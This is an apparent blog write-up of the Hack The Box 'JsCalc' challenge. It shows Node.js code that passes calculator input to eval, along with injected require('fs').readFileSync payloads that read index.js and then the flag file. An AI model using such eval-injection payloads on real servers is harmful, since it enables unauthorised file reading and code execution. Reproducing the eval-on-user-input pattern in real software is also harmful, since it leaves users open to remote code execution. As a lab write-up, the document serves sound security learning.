Skip to content

Hacking JsCalc (HTB Challenge)

Initial Thoughts

With the server up and running, we take a quick look at the site. We can see here that there is an input for the calculator.

JsCalc UI

Potential Vulnerability

Usage of eval can lead to remote code execution vulnerabilities. MDN Docs

Let's take a look at the source code where eval is used and try to find a vulnerability.

Analyzing The Source

The first thing we will do is look at the source code of the site and see how eval is being called.

js
module.exports = {
  calculate(formula) {
    try {
      return eval(`(function() { return ${formula} ;}())`); 
    } catch (e) {
      if (e instanceof SyntaxError) {
        return "Something went wrong!";
      }
    }
  },
};

So, we can see here that the data we input will be executed in an IIFE

If we take a closer look at the server's code, we will see that the return value of the function is sent as the response.

js
router.post("/api/calculate", (req, res) => {
  let { formula } = req.body;

  if (formula) {
    result = Calculator.calculate(formula); 
    return res.send(response(result)); 
  }

  return res.send(response("Missing parameters"));
});

Now that we understand how the server uses eval, let's exploit it.

Attempting RCE with eval

The first thing we can do is a simple test. We will input some code into the site and take a look at the result.

js
require("fs").readFileSync("index.js").toString();

This code should return the contents of the index.js file as a string.

RCE 1

🎉 It works as expected!

Let's try to get a flag!

Why is my result disappearing?

If you are following along, you may have noticed that the result disappears after 2 seconds. If you open your console you can remove this line from main.js to keep the messages until you remove them manually.

js
setTimeout(() => {
  document.getElementById("closeAlert").click();
}, 2000);

Getting the Flag!

We can use the same test code to find our flag. The only difference is that we need to input the path of flag.txt.

js
require("fs").readFileSync("../flag.txt").toString();

TIP

Now I know this is a very simple CTF, but I want to get some experience writing blog posts on my new website.